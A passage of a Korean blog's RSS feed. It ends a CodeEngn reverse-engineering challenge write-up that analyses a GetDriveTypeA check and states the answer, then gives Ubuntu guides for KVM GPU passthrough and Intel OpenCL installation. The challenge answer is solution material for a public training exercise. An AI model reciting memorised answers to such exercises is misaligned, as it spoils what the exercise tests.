&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;eax&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;-&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;eax&amp;nbsp;=&amp;nbsp;2&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;esi&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;esi&amp;nbsp;=&amp;nbsp;2&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;esi&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;esi&amp;nbsp;=&amp;nbsp;3&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;eax&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;-&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;eax&amp;nbsp;=&amp;nbsp;1&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;if&lt;/span&gt;(eax&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;esi)&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBox(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;Ok,&amp;nbsp;I&amp;nbsp;really&amp;nbsp;think&amp;nbsp;that&amp;nbsp;your&amp;nbsp;HD&amp;nbsp;is&amp;nbsp;a&amp;nbsp;CD-ROM!&amp;nbsp;:p&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;else&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBox(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;Nah...&amp;nbsp;This&amp;nbsp;is&amp;nbsp;not&amp;nbsp;a&amp;nbsp;CD-ROM&amp;nbsp;Drive&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;즉, 문제를 해결하기 위해서 eax - 2 =&amp;gt; 3이 되는 값으로 &lt;span style=&quot;color: #333333;&quot;&gt;GetDriveTypeA의 return value가 설정되어야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;GetDriveTypeA의 return value가 &lt;b&gt;DRIVE_CDROM(5)&lt;/b&gt;일 때가 이 문제의 정답이 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.codeengn.com/challenges/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.codeengn.com/challenges/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1603974689662&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CodeEngn.com [코드엔진] - Challenges&quot; data-og-description=&quot;코드엔진은 국내 리버스엔지니어링 정보공유를 위해 2007년 부터 리버스엔지니어링 컨퍼런스 및 비공개 워크숍을 현업 실무자들과 함께 운영하고 있습니다. 리버스엔지니어링이라는 하나의 큰 &quot; data-og-host=&quot;www.codeengn.com&quot; data-og-source-url=&quot;https://www.codeengn.com/challenges/&quot; data-og-url=&quot;https://www.codeengn.com/challenges/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.codeengn.com/challenges/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.codeengn.com/challenges/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;CodeEngn.com [코드엔진] - Challenges&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;코드엔진은 국내 리버스엔지니어링 정보공유를 위해 2007년 부터 리버스엔지니어링 컨퍼런스 및 비공개 워크숍을 현업 실무자들과 함께 운영하고 있습니다. 리버스엔지니어링이라는 하나의 큰&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.codeengn.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1603974691795&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;GetDriveTypeA function (fileapi.h) - Win32 apps&quot; data-og-description=&quot;Determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive.&quot; data-og-host=&quot;docs.microsoft.com&quot; data-og-source-url=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea&quot; data-og-url=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bxhWkZ/hyH1644pTx/orl8oTWRF4cJ0sNsd7LbsK/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400&quot;&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bxhWkZ/hyH1644pTx/orl8oTWRF4cJ0sNsd7LbsK/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;GetDriveTypeA function (fileapi.h) - Win32 apps&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;Determines whether a disk drive is a removable, fixed, CD-ROM, RAM disk, or network drive.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;docs.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Reversing/CodeEngn</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/252</guid>
      <comments>https://marcokhan.tistory.com/252#entry252comment</comments>
      <pubDate>Thu, 29 Oct 2020 21:47:11 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 18.04/20.04] Virtual Machine with Passthrough</title>
      <link>https://marcokhan.tistory.com/251</link>
      <description>&lt;p&gt;최근 cloud 환경에서도 GPU를 사용하고자하는 노력이 많아지면서 호스트의 개입없이 Guest VM이 직접 GPU를 할당받아 사용할 수 있는 passthrough 기술이 도입되었다. 본 글에서는 Ubuntu 18.04/20.04 버전에서 KVM을 이용해 passthrough를 설정하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;하드웨어 기술&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;필요한 하드웨어 기술은 다음과 같다. 필자는 Intel CPU를 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;VT-x, VT-d: Enable&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;위 두 기술은 BIOS에 진입하여 Enable 해야 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;GRUB 수정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;b&gt;$sudo vim /etc/default/grub&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;intel_iommu=on iommu=pt 추가&lt;/p&gt;
&lt;p&gt;&lt;b&gt;GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash intel_iommu=on iommu=pt&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xtErv/btqLlClUELe/KdFyKpHZwxy1JQIKXlnq2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xtErv/btqLlClUELe/KdFyKpHZwxy1JQIKXlnq2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xtErv/btqLlClUELe/KdFyKpHZwxy1JQIKXlnq2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxtErv%2FbtqLlClUELe%2FKdFyKpHZwxy1JQIKXlnq2K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo update-grub&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo reboot&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;커널 모듈 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo lspci -nn | grep -i intel&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d90k8U/btqLhQMe2ux/FA1vw0UK55xr0ReTMGNUCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d90k8U/btqLhQMe2ux/FA1vw0UK55xr0ReTMGNUCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d90k8U/btqLhQMe2ux/FA1vw0UK55xr0ReTMGNUCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd90k8U%2FbtqLhQMe2ux%2FFA1vw0UK55xr0ReTMGNUCk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo vim /etc/default/grub&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;vfio-pci.ids=8086:5912 &lt;b&gt;[passthrough 하고 싶은 device의 ID 추가]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash intel_iommu=on iommu=pt &lt;span style=&quot;color: #333333;&quot;&gt;vfio-pci.ids=8086:5912&lt;/span&gt;&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpa0EN/btqLkfZgGu0/vN93jPRO9mDvJgfwsb3MF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpa0EN/btqLkfZgGu0/vN93jPRO9mDvJgfwsb3MF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpa0EN/btqLkfZgGu0/vN93jPRO9mDvJgfwsb3MF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdpa0EN%2FbtqLkfZgGu0%2FvN93jPRO9mDvJgfwsb3MF1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo update-grub&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo reboot&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설정 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo dmesg | grep -i vfio&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7bB8S/btqLhOOBOfk/o0BVTnUNd08kwjkiaotX7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7bB8S/btqLhOOBOfk/o0BVTnUNd08kwjkiaotX7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7bB8S/btqLhOOBOfk/o0BVTnUNd08kwjkiaotX7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7bB8S%2FbtqLhOOBOfk%2Fo0BVTnUNd08kwjkiaotX7K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;$sudo lspci -k&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bS8QLM/btqLeqOmDRw/QCKLqrWWIrtmOH4BOgohF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bS8QLM/btqLeqOmDRw/QCKLqrWWIrtmOH4BOgohF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bS8QLM/btqLeqOmDRw/QCKLqrWWIrtmOH4BOgohF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbS8QLM%2FbtqLeqOmDRw%2FQCKLqrWWIrtmOH4BOgohF0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;호스트 머신에서 passthrough로 설정한 device가 &lt;b&gt;vfio-pci&lt;/b&gt;로 잡혀있으면 성공한 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;KVM 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 포스팅에서는 Intel Integrated GPU를 VM이 passthrough를 이용해 접근할 것이다.&lt;/p&gt;
&lt;p&gt;따라서&lt;b&gt; Video -&amp;gt; VGA&lt;/b&gt;를 반드시 선택하자&lt;/p&gt;
&lt;p&gt;VGA를 선택하지 않는다면 graphic crash가 발생할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctNaKF/btqLeqgxH1N/z4et6GMtNxsLTkvASV0prk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctNaKF/btqLeqgxH1N/z4et6GMtNxsLTkvASV0prk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctNaKF/btqLeqgxH1N/z4et6GMtNxsLTkvASV0prk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctNaKF%2FbtqLeqgxH1N%2Fz4et6GMtNxsLTkvASV0prk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Add Hardware -&amp;gt; PCI Host Device -&amp;gt; passthrough를 원하는 Device&lt;/b&gt;를 선택한다.&lt;/p&gt;
&lt;p&gt;이후 성공적으로 VM에서 passthrough를 사용하여 iGPU에 접근할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lUXRH/btqLkf6nKp1/A6KbW33q4A95PMXKIC4Pn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lUXRH/btqLkf6nKp1/A6KbW33q4A95PMXKIC4Pn1/img.png&quot; data-alt=&quot;&amp;amp;amp;nbsp;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lUXRH/btqLkf6nKp1/A6KbW33q4A95PMXKIC4Pn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlUXRH%2FbtqLkf6nKp1%2FA6KbW33q4A95PMXKIC4Pn1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;nbsp;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/251</guid>
      <comments>https://marcokhan.tistory.com/251#entry251comment</comments>
      <pubDate>Tue, 27 Oct 2020 11:33:56 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 18.04/20.04] How to install intel-OpenCL on Ubuntu 18.04</title>
      <link>https://marcokhan.tistory.com/250</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;Ubuntu18.04에서 Intel 내장 그래픽카드(Integrated GPU)를 사용하기 위한 환경을 구성하는데 필요한 것들을 포스팅한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OpenCL GPU driver (Neo)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;OpenCL도 Nvidia의 CUDA처럼 최근까지 진화되어 왔다. 1.x버전에서 2.x버전으로 이동하면서 Neo라는 드라이버를 지원한다. 간단하게 Neo는 OepnCL Driver Stack을 부르는 말이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Neo는 다음과 같은 방법으로 설치할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo add-apt-repository ppa:intel-opencl/intel-opencl&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get update&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt install intel-opencl-icd&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;clinfo&lt;/b&gt;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;clinfo는 OpenCL platform과 devices를 사용자에게 보여주는 툴이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Neo가 정상적으로 설치되었는지 확인하기 위해서 clinfo를 설치하여 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다음과 같은 방법으로 clinfo 명령어를 설치할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install clinfo&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ clinfo&lt;/b&gt; 명령어를 사용했을 때 아래와 같은 결과화면이 나왔다면 정상적으로 OpenCL 드라이버가 설치된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/efHLJG/btqHetf4G4a/noX7FVUmtihXhEfXPoXbk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/efHLJG/btqHetf4G4a/noX7FVUmtihXhEfXPoXbk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/efHLJG/btqHetf4G4a/noX7FVUmtihXhEfXPoXbk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FefHLJG%2FbtqHetf4G4a%2FnoX7FVUmtihXhEfXPoXbk0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
